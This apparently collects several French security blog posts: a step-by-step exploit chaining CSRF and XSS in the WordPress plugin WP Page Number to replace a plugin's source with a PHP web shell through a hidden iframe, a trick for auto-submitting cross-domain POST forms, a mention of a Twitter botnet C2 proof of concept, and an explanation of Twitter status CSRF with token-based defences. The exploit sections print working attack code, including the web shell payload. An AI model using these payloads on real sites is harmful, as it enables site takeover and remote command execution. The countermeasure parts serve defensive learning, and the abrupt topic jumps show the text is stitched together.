OK, What’s the :(){:|:&};: ?

Premier ingrédient, une extension vulnérable. Pour cela, il ne faut pas aller chercher très loin, une simple recherche dans les extensions les plus populaires de Wordpress vous permettra de trouver votre bonheur en XSS, CSRF et autres trucs marrants. Perso, j’ai choisi WP Page Number, car elle est utilisée par beaucoup de blogs *han la-la je fais du full disc*. Cette dernière est vulnérable aux deux failles donc voici comment va se dérouler l’attaque :

1. Exécution d’une CSRF lambda par POST afin d’exécuter une XSS.
2. A partir de cette XSS, réalisation d’une iframe et exécution d’un script.
3. Modification des éléments DOM de la page « framée » afin de backdoorer un contenu.
4. Envoi de la soupe avec la fonction « submit ».

J’ai perdu personne ? Bon, passons de la théorie à la pratique.

Step 1. Mise en place de la première CSRF

Afin de réaliser la première CSRF en POST, il faut simplement réaliser un petit formulaire qui s’envoie automatiquement dès que la victime charge la page. Plusieurs techniques sont alors possibles dans les évènements DOM pour réaliser cela. Perso, j’ai mon petit faible pour onerror avec une image malle interprétée mais l’on peut utiliser des onload, onfocus (html5) ou onmouseover et un peu de CSS etc.

Donc on y va ! Un simple form en display:none fera l’affaire. Exemple :

<form action=’ ‘ method=’post’ id=’blop’ style=’display:none’></form>
<img src=’x’ onerror=’blop.submit()’>

Ensuite, on regarde le nombre de champs que possède notre plugin, soit à la main, long et chiant, soit en utilisant Tamperdata. On s’aperçoit peu après que hô magie, seuls deux champs sont obligatoires. Donc on refait notre super form avec les deux champs et on teste l’injection de code HTML.

<form action=’ [plugin URL]‘ method=’post’ id=’blop’ style=’display:none’>
<input name=’submitted’ value=’yes’>
<input name=’page_of_page_text’ value=’ »/><h1>lol</h1>’>
</form>
<img src=’x’ onerror=’blop.submit()’>

Et une belle image pour émoustiller le public…

Yes ! It works ! Great. Bon, on passe à des choses un peu plus ardues. Nous avons réalisé l’exploitation de notre première CSRF aboutissant à une exécution de code en client side sur le domaine visé. Pour ceux qui ont l’habitude d’auditer pour le fun des extensions Wordpress, une grande partie est vulnérable aux XSS (par exemple, All in one SEO), en ce qui concerne les CSRF, c’est un peu plus limité. Cependant, dès que ça l’est, cela peut faire très mal et c’est ce que nous allons voir.

Step 2. Contournement des protections anti-CSRF de WP.

J’ai commencé cette exploitation en « backbox » donc je reste en « blackbox ». Dès qu’on a une XSS sur un domaine, la plupart des protections anti-CSRF par token sautent du fait de la possible récupération en Javascript du token permettant de sécuriser la transaction (eh oui, SOP n’est plus d’aucune utilité). D’ailleurs, une attaque de type « Return-to-jQuery » peut permettre la récupération du token et l’envoi du formulaire visé en une ligne.

Cependant, face à ce type d’attaque, Wordpress à l’air de résister. Je ne suis pas allé dans le code chercher quelle était la fonction qui rendait la tâche plus ardue. Cependant, ma petite idée est simple : anti-CSRF = (token + contrôle du referer). Pour contourner ce petit problème, j’ai cherché quelques minutes et j’ai trouvé, il suffit d’interagir avec une iframe.

Le concept est simple : on « frame » la page contenant le formulaire protégé par token que l’on veut envoyer, on interagit avec les éléments du formulaire directement à partir de la page parente afin de changer les contenu des inputs et d’envoyer le tout. Cela permet ainsi de casser la deuxième protection anti-CSRF liée au referer.

Step 3. Développement de l’exploit.

Donc c’est parti ! On crée une nouvelle iframe que l’on injectera avec du code javascript lors de l’exécution de notre première CSRF sur l’extension vulnérable. Cette iframe devra être composée d’une simple source. A cette iframe, on ajoute un code Javascript qui réalisera plusieurs choses :

• Ajout d’un shell au textarea du formulaire « framé »
• Changement de l’attribut « name » de l’input « submit »
• Lancement de l’attaque en envoyant le bon formulaire dans le contexte de la page framée.

Le code « final » de l’exploitation de la deuxième « CSRF protégée » grâce à une iframe aura donc cette allure :

<script>

function exploit(){

var content = frames[0].document.getElementById(’newcontent’);
var inputs = frames[0].document.getElementsByTagName(’input’);
content.value=’<?php echo system($_GET["cmd"]); ?>’;
inputs[7].setAttribute( »name », »");
frames[0].document.forms[1].submit()’;

}
</script>

<body onload=’javascript:exploit()’></body>
<iframe src=’[URL]/plugin-editor.php?plugin=hello.php’ width=’0′ height=’0′>

Quelques explications peuvent être utiles face à ce petit bout de code. Tout d’abord, il remplace le contenu du textarea contenant le code source du plugin hello.php par un shell. Ensuite, il récupère l’élément submit avec lequel on veut interagir et enlève son nom. Pourquoi ? Je ne le sais pas, apparemment le moteur JS aime pas lorsque deux éléments ont le même nom sur une page, donc j’ai trouvé cette unique solution. Ensuite, nous voulons envoyer le formulaire donc il nous faut faire exécuter par le deuxième formulaire une simple fonction submit().

Voilà, à partir de là, vous avez juste à rendre le code peu portable le code pour lui permettre de bypasser des protections telles que les magic_quotes et de le lier avec ce qu’il a été fait à l’étape 1 (je ne vais pas tout vous donner sur un plateau). Pour information, si j’ai mis une deuxième balise body, c’est simplement pour exécuter automatiquement le script exploit (les évènements concurrents DOM du style « onerror » ne fonctionnant pas).

Évidemment, j’ai pris Wordpress, car cela était un cas assez intéressant, mais nous aurions pu prendre d’autres CMS, les plugins vulnérables développés par des « amateurs » ce n’est pas ce qui manque sur l’internet.

Step 4. Contre-mesures.

Afin de contrer ce type de menaces, plusieurs contre mesures peuvent être mises en place. Tout d’abord, limiter le nombre d’extensions au strict nécessaire. De plus, un WAF/IDS (mod_security, phpids etc.) sympa pourrait permettre de limiter ce type de désagréments même si, configuré par défaut, il limitera l’édition d’articles et de pages sur votre blog. Enfin, rien ne vaut un bon Noscript afin de limiter l’exécution de codes malveillants en client side.

Nous abordons ainsi les différentes utilisations de Twitter et ses problèmes actuels, tant au point de vue financier (comment rendre ce service économiquement viable) jusqu’à la sécurité du service et de ses utilisateurs (vulnérabilités des API).

Un petit slide est d’ailleurs dédié à KreiosC2, le PoC permettant de transformer Twitter en cannal de communication pour BotNet par le 80 et ainsi bypasser quelques firewalls au passage (reste le problème de certains proxys internes aux entreprises, mais bon, on peut l’éliminer facilement ;) et puis, ce n’est qu’un PoC, onne va pas tout mettre sur un plateau.

Voici les slides (hébergées sur slideshare) :

Cette histoire de POST pouvait poser quelques problèmes lors de lorsqu’un script appelait des variables en POST et que PHP était configuré sans les register_globals (donc à off). Ainsi, nous devions forcément passer par une requête POST afin de faire passer les variables, cela incluait alors, dans le cadre d’attaques CSRF l’utilisation d’ajax dans une page afin de perpétrer l’attaque et d’envoyer les données au script.

Gros problème, les navigateurs empêchent les requêtes ajax POST en cross domain pour des raisons évidentes de sécurité. Et puis, j’ai eu une idée, pourquoi ne pas passer par un formulaire HTML pur et de le valider sur un évènement ? Là était la réponse ! =) Il suffit simplement de réaliser une page contenant un formulaire et une image qui ne se charge pas contenant l’évènement (non DOM) onerror , par exemple, quelque chose dans ce genre :

<form id="form" action="[vers la page vuln aux CSRF]" method="POST">
<input name="test1" type="hidden" value="valeur test 1" />
<input name="test2" type="hidden" value="valeur test 2" />
</form>
<img src="xxxx" onerror="form.submit()" />

Et hop, vous avez votre requête POST, cross domain sans utiliser de l’Ajax =) Vous voulez voir ce que cela donne ? Allez par ici -> [ -]

Pour conclure, nous pouvons dire que le code est simple, très simple, voir même trop simple. Nous pourrions un peu le customiser afin que l’envoi des données soit invisible pour l’utilisateur, mais je reste dans le cadre d’un PoC, donc pas de choses très méchantes ici.

De plus, cette technique reste assez limitée dans l’efficacité qu’aurai pu avoir une requête à dose de javascript, car cela permet de faire autre chose bien plus élaborées… et surtout de récupérer certaines informations lorsque nous sommes sur le même domaine… (arf, le cross domaine, les navigateurs n’aiment pas cela et nous pouvons les comprendre… ah si, ie6 et < aiment ça, mais c’est une autre histoire…)

C’est la deuxième fois qu’un problème de sécurité est présenté sur le service Twitter, la première était le piratage de quelques gros comptes suite à une attaque par force brute d’un compte d’administrateur.

Beaucoup de personnes ont donc parlées de cette possibilité de changement de statut par un site tiers, mais personne n’a encore solutionné le problème. Donc je vais vous livrer quelques astuces pour sécuriser son site internet contre ces attaques mais aussi, vous sécuriser vous. Car il est en partie possible de se sécuriser contre ces attaques connues appelées CSRF.

Attaque ? Où, où ça ?

Tout d’abord étudions l’attaque. En temps normal, la personne étant loggée envoie son statut par l’intermédiaire d’une requête POST et Twitter le met à jour. Cependant, les requêtes POST et GET peuvent se confondre donc nous pouvons charger dans l’URL les données que nous voulons envoyer par l’intermédiaire de la variables statut. Ex : http://twitter.com/home?status=le statut à mettre.

A partir de là, il devient facile pour une personne de mettre un script dans son site Internet faisant le travail et changeant le statut de n’importe qui loggé sur twitter et visitant le site. Voir le PoC (proof of concept) ici.

Bon, ceci dit, comment se protéger ?

Tout d’abord, le site Internet doit être protégé au niveau du code. Ainsi, on n’accepte pas n’importe quelle variable envoyée depuis n’importe quel site Internet. Pour ce faire, une technique assez simple est de mettre un champ en hidden avec une valeur aléatoire envoyée en même temps que notre valeur (dans le cas de Twitter le statut.). Ainsi, grâce aux sessions, le site Internet garde en mémoire cette valeur. Lorsque la page reçoit le statut, la valeur cachée est comparée à celle en mémoire. S’il y en a pas où si cela n’est pas la bonne, en refuse le changement de statut. (encore dans le cadre de Twitter.)

Je vous ai fait un petit script que l’on peut tester et disponible ICI.

Cette valeur doit réellement être aléatoire et être hashée de préférence en sha1 pour (encore) plus de sécurité. En fait, tout dépend de la longueur de la chaine et du nombre de possibilités pour chaque case. Si cette dernière est élevée (comme dans mon exemple, 32 cases) il n’est pas réellement nécessaire de prévoir un hashage de cette dernière.

De plus l’utilisateur, lui, ne peut jamais être protégé. Ainsi, même en désactivant le Javascript sur son navigateur, en empêchant l’affichage des iframes, cela ne fera que stopper les attaques CSRF complexes, mais pas ce genre de petites attaques, car l’URL peut être appelée depuis n’importe quel code que cela soit une iframe, une image, une feuille de style etc.

Développeurs, développeuses, je vous encourage à patcher tous les champs de vos différents formulaires car cette faille est très – trop ? – répendue ! (Administrations de routeurs, de box, réseaux sociaux, sites bancaires (?), sites d’ecommerce, services de blogs etc.). Bref, maintenant la balle est dans votre camp !